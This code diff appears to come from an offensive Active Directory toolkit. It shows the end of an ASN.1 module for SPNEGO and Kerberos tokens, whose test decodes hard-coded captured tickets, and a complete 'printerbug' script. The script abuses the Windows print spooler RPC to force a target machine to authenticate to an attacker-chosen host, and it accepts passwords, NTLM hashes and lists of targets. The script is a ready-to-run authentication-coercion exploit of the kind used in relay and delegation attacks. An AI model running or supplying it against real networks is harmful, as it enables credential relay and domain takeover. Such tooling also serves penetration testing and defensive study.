_sequence_optional_component('reqFlags', 1, ContextFlags()),
_sequence_optional_component('mechToken', 2, univ.OctetString()),
_sequence_optional_component('negHints', 3, NegHints()),
_sequence_optional_component('mechListMIC', 4, univ.OctetString())
)
class NegTokenResp(univ.Sequence):
componentType = namedtype.NamedTypes(
_sequence_optional_component('negResult', 0, NegResult()),
_sequence_optional_component('supportedMech', 1, MechType()),
_sequence_optional_component('responseToken', 2, univ.OctetString()),
_sequence_optional_component('mechListMIC', 3, univ.OctetString())
)
class NegotiationToken(univ.Choice):
componentType = namedtype.NamedTypes(
namedtype.NamedType('negTokenInit', NegTokenInit().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 0))),
namedtype.NamedType('negTokenResp', NegTokenResp().subtype(explicitTag=tag.Tag(tag.tagClassContext, tag.tagFormatConstructed, 1)))
)
class GSSAPIHeader_SPNEGO_Init(univ.Sequence):
"""
GSSAPI Header containing SPNEGO negTokenInit or negTokenResp
"""
tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))
componentType = namedtype.NamedTypes(
namedtype.NamedType('tokenOid', univ.ObjectIdentifier()),
namedtype.NamedType('innerContextToken', NegotiationToken())
)
class GSSAPIHeader_SPNEGO_Init2(univ.Sequence):
"""
GSSAPI Header containing SPNEGO negTokenInit2
negTokenInit2 is a Microsoft extension, initiating SPNEGO from the server
See [MS-SPNG] for details
"""
tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))
componentType = namedtype.NamedTypes(
namedtype.NamedType('tokenOid', univ.ObjectIdentifier()),
_sequence_component('innerContextToken', 0, NegTokenInit2())
)
class GSSAPIHeader_KRB5_AP_REQ(univ.Sequence):
tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))
componentType = namedtype.NamedTypes(
namedtype.NamedType('tokenOid', univ.ObjectIdentifier()),
# Actualy this is a constant 0x0001, but this decodes as an asn1 boolean
namedtype.NamedType('krb5_ap_req', univ.Boolean()),
namedtype.NamedType('apReq', AP_REQ()),
)
class GSSAPIHeader_KRB5_AP_REP(univ.Sequence):
tagSet = univ.Sequence.tagSet.tagImplicitly(tag.Tag(tag.tagClassApplication, tag.tagFormatConstructed, 0))
componentType = namedtype.NamedTypes(
namedtype.NamedType('tokenOid', univ.ObjectIdentifier()),
# Actualy this is a constant 0x0002, but this decodes as an asn1 integer
namedtype.NamedType('krb5_ap_rep', univ.Integer()),
namedtype.NamedType('apRep', AP_REP()),
)
from pyasn1 import debug
def test():
import binascii
data = binascii.unhexlify('60820c3306062b0601050502a0820c2730820c23a030302e06092a864882f71201020206092a864886f712010202060a2b06010401823702021e060a2b06010401823702020aa2820bed04820be960820be506092a864886f71201020201006e820bd430820bd0a003020105a10302010ea20703050020000000a382049f6182049b30820497a003020105a10f1b0d494e5445524e414c2e434f5250a2293027a003020102a120301e1b04636966731b1649434f52502d44432e696e7465726e616c2e636f7270a38204523082044ea003020112a103020104a28204400482043ce3b540556cdf2ce2ac675dc9fa2f6b3112e8209c246636d535926b59f0023eebcd8d4895ce87069097e6e33d0b63331ad64a9e76635f7675c88dfa9a034c761ba0ef45dc2f999f3127ca78100695b9a1bedceab764f2b0d4ede0b4cb46d2d93f6f494706d9a7d107b42eccf0a9c95383a4e20c8171556efacfe55361e65870cdf80b38527e948efcd196a9282e90ffdc5404bd3582c692724e9f0e2970ee242ae8dd0de7e93e7bced8d8ad8915e5cd9b286e9636aa809629579e77bf72f88dc8e669106e2d8fdfbbf37c114ef0706c906ce037d7c0cc3bd10d9c60c30e29994481539b3bbe550aa791394b60f09a844667a016275e00642254083528535563e9ea3ef83d512a30bf2660f17e0222c7ec158e0ca091861c3043f15a109ad31fe30a94bf81012921896068d77dbf7a7fe23bf278ea88d0fb0fddf7bcc3f4adbac47fb6f9b6675fc60ade851ab632a117ecbbdaef31c3ca87c0a54dc74268823114344f356af9b51c3639bafd0c441fc5c6d692939a3b422041e6c769f0cc7f23a023dfc017390cf78843668060eba8c99a2dfa8ad99bff56ccecf95d3a1b70abed1f0ccec41126590abf1ac9d7339f504ea4602f95a1522b341092f68fd3f9c986f6c692b7e070ec36f5a77264cf4a7a34475184da181ea27a937716f1d5728e585c99db2b24053964e3e12bdb13e6946a8737278f2287db7f940e3a279242fb09ffc1b13fb97cf46632848f6012bfd924e7fa20c5f475401487f3eec95be224272125950dcc936c23a5a129349494992b3e59c50b5d3967a61ddfa66d5b71f991c0c0236522a2888494ca5cb98aad8ab15ad4b2968f603364679552b26937968f94b5c2259b96a8e1d562315290119079e4936f21c60fadf203d47ea14f3fd6dc3465479c59f975aea1568826b19edf06d59e97980a24d60fe170267f3ebd76f5005b59ce26c689b80ce3138d5a524fbe5834ec5c01d7c45bfa35e97195be3977661e6354fc65a5a7526cb02e9dbdab037dd0a53ec133f17b2afacfec399a7016ca43552827e7f873fa92f8be943bfb6bcbdc980437d0f7b4e09528b588607c1f1331784f69f6b3d08d494476098f735a5e883fcdafdd96977cb44c4e102ef90957e192ca1d569b1183313f781ec3d0c5d7ee7efee86fd5420f25ad7629152c303e056b4e6f2d2322da275115eeabfefceeba66c42991d596915dff2faaaafc1ab61d4f123eb1905faeb64025fcf4e4189385ab6663b412c40ae88791564e54daa15501b9da7a242b375e766fb150a1ed613e8df49f2938094f8562d20a03d8b8b303d7fa13b55f93c8570159c1f81055daf695f162d567399f9b0314e7dcb60c4780297743e253d743a2ad525352496309561216b33c7e6d62a88257ad3762df2fdf85e799844975504b57ea029cd861431678a86eb46c6768d95cef58161071b4d876fa68cf2e849aa2109d5398c088e495f2b1d5625c53dd128b088929d90ee8d86f087deb40c2690f901b797ae85517de61d2dbb4702a1299bb46a482071630820712a003020112a282070904820705fb5cc82e31c2324ed84253d212f23996e14ce59f1de4aeb3714470259a5b954de39ce4e6d23f274b2b53731c5d52f743068bd1bab5460ee3e3e0fc365f7f30ebcc910acf5a3a85d4f2c6fee282d24aeb23493aad26459671c2d137010ab000097ec6a4efe7ecce07e8f9a7a003b3f34d531550aea830b5bff9a9437236850b21fe557cd2a475437cc7a01370d7aeb8dafcfefde76d2402023f4dad87709ff165502682b204f781f680a0f750cf6d5d9be6b99a67b9d7b48bd07996dfc2fd002235aa76a26a6a5a46238dce42d0446681da4ef43f066842af41429799b8239bc461cbfae5282b0f2a15c6d86c1ab1998a30b43ff02cc769a0591d266a0901d5236087d0b032bb94468270e3dde4c9027e24f6e6c9f328d885abf248b7444c9c11d14194f2f481998d4daef19060ea2f48e3c2d8467a30c982dda092bccc6287275848389759c87b012d1ef0600ca9fcf04686333960ea91e9c17ae4b881e7385d96a3d9132cfb67feddcac3166790ed4855589a514c2acd181adda62dcbb79be3995d8e3ce6728d28d5b4dc0d6ab8635046ed8544a277d74de2f17ad6ae7c527e8eba35ef7c33fea2dc1803de72f14429403594876684184cd4c4bed11e937e004685badaf71c308e830fadb2893c3c591e116192c61bff09f4ecbf3a8ce9d762eff48ca9fd36f35e928e27e7141d13d4d21173e9a9aa74580ada1042831cac2b1ba15b4092afc8229fc237b710804ac9c633db4d88c2bb2209f640c4efa895f7cc05fb6d567644073173b8c63e16b54bb0bb78585a5f9982001943d0b25b65804ef184d80bd1fe851cdcf0800c34d41415904577f6cee1041157b6d02dff7079ec42fef1e1bbfecfe3e2f533ad69262523519dada1b4fbe9c2250c2f4a4ac2a6013fef8aa71df1bae566ebcbec8ee2ea5b443f7581ac052f709541e77a3c9a22d507c5601702ea30b7461fcd38b08df193ba7cf3549e94bf336f35fe19d97e129059e5e34e4b2a8596e4e7f6200c704c51b6c7273d2d320811cbc16657e5eb1116f05d281c1277f18d4cce278ff2ef7deceb423274be8209d363d1584e305f8578e628e7fdc65a881979d6202cd068319594e975d52078eee0bc047ddc999b5e3da70ae6617459d6d412b4554e6f23d38b80de12f7da8a9c0084f6048c8f58d44a4364136c80fd45afec5ac9275ac1b74814202ae314f4347c5f396aa7979c46ae8003d6aad7120f8359043f2d94de6126db41d71006ca32fe45f885fd7dc238e2936dd98a416b8b2820cf706b9e11e974517f92f2d313976ec38fea665963d065a9b8e75d3854cdd1a1e19419c77d6c3b8b8f96f05b62088112f53b441ff0e172dce8fe2712fbec144de7d47fc9038f83f7eb2242f8fd201c5f24abdc98d310d86987550b581a4362706221d2fae2ac8a65427ea2cfa02509093055dcd41b33e74ec4a5d77b42e12035f6e3a340bfd81a31316f432e88bd917807993400321a3db2d6d782ead9f8bfa8acaed50e8f2938c50db7019a33f6c9861f6d65ff10d7e06021f4ec0618d0644753860a5d0ce534c38c7c35c4e9632d5170cb30e7642289a4cc272eb7dbfdbe71a594a733c4bd10371878c5be231e23195473a23dad685bcdLine truncated
out = decoder.decode(data, asn1Spec=GSSAPIHeader_SPNEGO_Init())
print str(out[0])
# out[0].prettyPrint()
data2 = out[0]['innerContextToken']['negTokenInit']['mechToken']
# data2 = binascii.unhexlify('60820be506092a864886f71201020201006e820bd430820bd0a003020105a10302010ea20703050020000000a382049f6182049b30820497a003020105a10f1b0d494e5445524e414c2e434f5250a2293027a003020102a120301e1b04636966731b1649434f52502d44432e696e7465726e616c2e636f7270a38204523082044ea003020112a103020104a28204400482043ce3b540556cdf2ce2ac675dc9fa2f6b3112e8209c246636d535926b59f0023eebcd8d4895ce87069097e6e33d0b63331ad64a9e76635f7675c88dfa9a034c761ba0ef45dc2f999f3127ca78100695b9a1bedceab764f2b0d4ede0b4cb46d2d93f6f494706d9a7d107b42eccf0a9c95383a4e20c8171556efacfe55361e65870cdf80b38527e948efcd196a9282e90ffdc5404bd3582c692724e9f0e2970ee242ae8dd0de7e93e7bced8d8ad8915e5cd9b286e9636aa809629579e77bf72f88dc8e669106e2d8fdfbbf37c114ef0706c906ce037d7c0cc3bd10d9c60c30e29994481539b3bbe550aa791394b60f09a844667a016275e00642254083528535563e9ea3ef83d512a30bf2660f17e0222c7ec158e0ca091861c3043f15a109ad31fe30a94bf81012921896068d77dbf7a7fe23bf278ea88d0fb0fddf7bcc3f4adbac47fb6f9b6675fc60ade851ab632a117ecbbdaef31c3ca87c0a54dc74268823114344f356af9b51c3639bafd0c441fc5c6d692939a3b422041e6c769f0cc7f23a023dfc017390cf78843668060eba8c99a2dfa8ad99bff56ccecf95d3a1b70abed1f0ccec41126590abf1ac9d7339f504ea4602f95a1522b341092f68fd3f9c986f6c692b7e070ec36f5a77264cf4a7a34475184da181ea27a937716f1d5728e585c99db2b24053964e3e12bdb13e6946a8737278f2287db7f940e3a279242fb09ffc1b13fb97cf46632848f6012bfd924e7fa20c5f475401487f3eec95be224272125950dcc936c23a5a129349494992b3e59c50b5d3967a61ddfa66d5b71f991c0c0236522a2888494ca5cb98aad8ab15ad4b2968f603364679552b26937968f94b5c2259b96a8e1d562315290119079e4936f21c60fadf203d47ea14f3fd6dc3465479c59f975aea1568826b19edf06d59e97980a24d60fe170267f3ebd76f5005b59ce26c689b80ce3138d5a524fbe5834ec5c01d7c45bfa35e97195be3977661e6354fc65a5a7526cb02e9dbdab037dd0a53ec133f17b2afacfec399a7016ca43552827e7f873fa92f8be943bfb6bcbdc980437d0f7b4e09528b588607c1f1331784f69f6b3d08d494476098f735a5e883fcdafdd96977cb44c4e102ef90957e192ca1d569b1183313f781ec3d0c5d7ee7efee86fd5420f25ad7629152c303e056b4e6f2d2322da275115eeabfefceeba66c42991d596915dff2faaaafc1ab61d4f123eb1905faeb64025fcf4e4189385ab6663b412c40ae88791564e54daa15501b9da7a242b375e766fb150a1ed613e8df49f2938094f8562d20a03d8b8b303d7fa13b55f93c8570159c1f81055daf695f162d567399f9b0314e7dcb60c4780297743e253d743a2ad525352496309561216b33c7e6d62a88257ad3762df2fdf85e799844975504b57ea029cd861431678a86eb46c6768d95cef58161071b4d876fa68cf2e849aa2109d5398c088e495f2b1d5625c53dd128b088929d90ee8d86f087deb40c2690f901b797ae85517de61d2dbb4702a1299bb46a482071630820712a003020112a282070904820705fb5cc82e31c2324ed84253d212f23996e14ce59f1de4aeb3714470259a5b954de39ce4e6d23f274b2b53731c5d52f743068bd1bab5460ee3e3e0fc365f7f30ebcc910acf5a3a85d4f2c6fee282d24aeb23493aad26459671c2d137010ab000097ec6a4efe7ecce07e8f9a7a003b3f34d531550aea830b5bff9a9437236850b21fe557cd2a475437cc7a01370d7aeb8dafcfefde76d2402023f4dad87709ff165502682b204f781f680a0f750cf6d5d9be6b99a67b9d7b48bd07996dfc2fd002235aa76a26a6a5a46238dce42d0446681da4ef43f066842af41429799b8239bc461cbfae5282b0f2a15c6d86c1ab1998a30b43ff02cc769a0591d266a0901d5236087d0b032bb94468270e3dde4c9027e24f6e6c9f328d885abf248b7444c9c11d14194f2f481998d4daef19060ea2f48e3c2d8467a30c982dda092bccc6287275848389759c87b012d1ef0600ca9fcf04686333960ea91e9c17ae4b881e7385d96a3d9132cfb67feddcac3166790ed4855589a514c2acd181adda62dcbb79be3995d8e3ce6728d28d5b4dc0d6ab8635046ed8544a277d74de2f17ad6ae7c527e8eba35ef7c33fea2dc1803de72f14429403594876684184cd4c4bed11e937e004685badaf71c308e830fadb2893c3c591e116192c61bff09f4ecbf3a8ce9d762eff48ca9fd36f35e928e27e7141d13d4d21173e9a9aa74580ada1042831cac2b1ba15b4092afc8229fc237b710804ac9c633db4d88c2bb2209f640c4efa895f7cc05fb6d567644073173b8c63e16b54bb0bb78585a5f9982001943d0b25b65804ef184d80bd1fe851cdcf0800c34d41415904577f6cee1041157b6d02dff7079ec42fef1e1bbfecfe3e2f533ad69262523519dada1b4fbe9c2250c2f4a4ac2a6013fef8aa71df1bae566ebcbec8ee2ea5b443f7581ac052f709541e77a3c9a22d507c5601702ea30b7461fcd38b08df193ba7cf3549e94bf336f35fe19d97e129059e5e34e4b2a8596e4e7f6200c704c51b6c7273d2d320811cbc16657e5eb1116f05d281c1277f18d4cce278ff2ef7deceb423274be8209d363d1584e305f8578e628e7fdc65a881979d6202cd068319594e975d52078eee0bc047ddc999b5e3da70ae6617459d6d412b4554e6f23d38b80de12f7da8a9c0084f6048c8f58d44a4364136c80fd45afec5ac9275ac1b74814202ae314f4347c5f396aa7979c46ae8003d6aad7120f8359043f2d94de6126db41d71006ca32fe45f885fd7dc238e2936dd98a416b8b2820cf706b9e11e974517f92f2d313976ec38fea665963d065a9b8e75d3854cdd1a1e19419c77d6c3b8b8f96f05b62088112f53b441ff0e172dce8fe2712fbec144de7d47fc9038f83f7eb2242f8fd201c5f24abdc98d310d86987550b581a4362706221d2fae2ac8a65427ea2cfa02509093055dcd41b33e74ec4a5d77b42e12035f6e3a340bfd81a31316f432e88bd917807993400321a3db2d6d782ead9f8bfa8acaed50e8f2938c50db7019a33f6c9861f6d65ff10d7e06021f4ec0618d0644753860a5d0ce534c38c7c35c4e9632d5170cb30e7642289a4cc272eb7dbfdbe71a594a733c4bd10371878c5be231e23195473a23dad685bcd77b9aea3305e489eac339587a1d217450958fcf9e012855e693aedee68247b7d08383eef5317f27c063b8e8d5596f11e67615be8ab14ed7e04ebe9de3deb36a5b25e23f3969121be8a5225cc0Line truncated
out = decoder.decode(data2, asn1Spec=GSSAPIHeader_KRB5_AP_REQ())
print str(out[0])
data3 = binascii.unhexlify('a181b53081b2a0030a0100a10b06092a864882f712010202a2819d04819a60819706092a864886f71201020202006f8187308184a003020105a10302010fa2783076a003020112a26f046d18b99d89dbfbd4bdf1d01f0e224436fee8f37091ca22382412f78e87f714763509a9a8135ead7a959ef013d0f877c7e6f48028902322925e9586bd060fd9f8dd012fa06d808a0e4c2ec8a876abbffba73ce4a90e6d5f20b2e737c8fc59df18f5f8cf8a7db0e48745cbe86e1fef')
out = decoder.decode(data3, asn1Spec=NegotiationToken())
print str(out[0])
data4 = out[0]['negTokenResp']['responseToken']
# debug.setLogger(debug.Debug('all'))
out = decoder.decode(data4, asn1Spec=GSSAPIHeader_KRB5_AP_REP())
print str(out[0])
data5 = binascii.unhexlify('607606062b0601050502a06c306aa03c303a060a2b06010401823702021e06092a864882f71201020206092a864886f712010202060a2a864886f71201020203060a2b06010401823702020aa32a3028a0261b246e6f745f646566696e65645f696e5f5246433431373840706c656173655f69676e6f7265')
out = decoder.decode(data5, asn1Spec=GSSAPIHeader_SPNEGO_Init2())
print str(out[0])
print str(out[0])
nt = NegotiationToken()
nt['negTokenResp']['negResult'] = 'request_mic'
nt['negTokenResp']['supportedMech'] = TypesMech['KRB5 - Kerberos 5']
print binascii.hexlify(encoder.encode(nt))
data6 = binascii.unhexlify('a1153013a0030a0103a10c060a2b06010401823702020a')
out = decoder.decode(data6, asn1Spec=NegotiationToken())
print str(out[0])
# Process command-line arguments.
if __name__ == '__main__':
test()
+198
View File
@@ -0,0 +1,198 @@
#!/usr/bin/env python
####################
#
# Copyright (c) 2019 Dirk-jan Mollema (@_dirkjan)
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
#
# Triggers RPC call using SpoolService bug
# Credit for original POC goes to @tifkin_
#
# Author:
# Dirk-jan Mollema (@_dirkjan)
#
####################
import sys
import logging
import argparse
import codecs
from impacket.examples.logger import ImpacketFormatter
from impacket import version
from impacket.dcerpc.v5 import transport, rprn
from impacket.dcerpc.v5.dtypes import NULL
class PrinterBug(object):
KNOWN_PROTOCOLS = {
139: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True},
445: {'bindstr': r'ncacn_np:%s[\pipe\spoolss]', 'set_host': True},
}
def __init__(self, username='', password='', domain='', port=None,
hashes=None, attackerhost=''):
self.__username = username
self.__password = password
self.__port = port
self.__domain = domain
self.__lmhash = ''
self.__nthash = ''
self.__attackerhost = attackerhost
if hashes is not None:
self.__lmhash, self.__nthash = hashes.split(':')
def dump(self, remote_host):
logging.info('Attempting to trigger authentication via rprn RPC at %s', remote_host)
stringbinding = self.KNOWN_PROTOCOLS[self.__port]['bindstr'] % remote_host
# logging.info('StringBinding %s'%stringbinding)
rpctransport = transport.DCERPCTransportFactory(stringbinding)
rpctransport.set_dport(self.__port)
if self.KNOWN_PROTOCOLS[self.__port]['set_host']:
rpctransport.setRemoteHost(remote_host)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
try:
self.lookup(rpctransport, remote_host)
except Exception, e:
if logging.getLogger().level == logging.DEBUG:
import traceback
traceback.print_exc()
logging.critical(str(e))
raise
def lookup(self, rpctransport, host):
dce = rpctransport.get_dce_rpc()
dce.connect()
dce.bind(rprn.MSRPC_UUID_RPRN)
logging.info('Bind OK')
try:
resp = rprn.hRpcOpenPrinter(dce, '\\\\%s\x00' % host)
except Exception, e:
if str(e).find('Broken pipe') >= 0:
# The connection timed-out. Let's try to bring it back next round
logging.error('Connection failed - skipping host!')
return
elif str(e).upper().find('ACCESS_DENIED'):
# We're not admin, bye
logging.error('Access denied - RPC call was denied')
dce.disconnect()
return
else:
raise
logging.info('Got handle')
request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx()
request['hPrinter'] = resp['pHandle']
request['fdwFlags'] = rprn.PRINTER_CHANGE_ADD_JOB
request['pszLocalMachine'] = '\\\\%s\x00' % self.__attackerhost
request['pOptions'] = NULL
try:
resp = dce.request(request)
except Exception as e:
print(e)
logging.info('Triggered RPC backconnect, this may or may not have worked')
dce.disconnect()
return None
# Process command-line arguments.
def main():
# Init the example's logger theme
handler = logging.StreamHandler(sys.stderr)
handler.setFormatter(ImpacketFormatter())
logging.getLogger().addHandler(handler)
logging.getLogger().setLevel(logging.INFO)
# Explicitly changing the stdout encoding format
if sys.stdout.encoding is None:
# Output is redirected to a file
sys.stdout = codecs.getwriter('utf8')(sys.stdout)
logging.info(version.BANNER)
parser = argparse.ArgumentParser()
parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
parser.add_argument('attackerhost', action='store', help='hostname to connect to')
group = parser.add_argument_group('connection')
group.add_argument('-target-file',
action='store',
metavar="file",
help='Use the targets in the specified file instead of the one on'\
' the command line (you must still specify something as target name)')
group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
help='Destination port to connect to SMB Server')
group = parser.add_argument_group('authentication')
group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful when proxying through ntlmrelayx)')
if len(sys.argv)==1:
parser.print_help()
sys.exit(1)
options = parser.parse_args()
import re
domain, username, password, remote_name = re.compile('(?:(?:([^/@:]*)/)?([^@:]*)(?::([^@]*))?@)?(.*)').match(
options.target).groups('')
#In case the password contains '@'
if '@' in remote_name:
password = password + '@' + remote_name.rpartition('@')[0]
remote_name = remote_name.rpartition('@')[2]
if domain is None:
domain = ''
if password == '' and username != '' and options.hashes is None and options.no_pass is False:
from getpass import getpass
password = getpass("Password:")
remote_names = []
if options.target_file is not None:
with open(options.target_file, 'r') as inf:
for line in inf:
remote_names.append(line.strip())
else:
remote_names.append(remote_name)
lookup = PrinterBug(username, password, domain, int(options.port), options.hashes, options.attackerhost)
for remote_name in remote_names:
try:
lookup.dump(remote_name)
except KeyboardInterrupt:
break
# except:
if __name__ == '__main__':
main()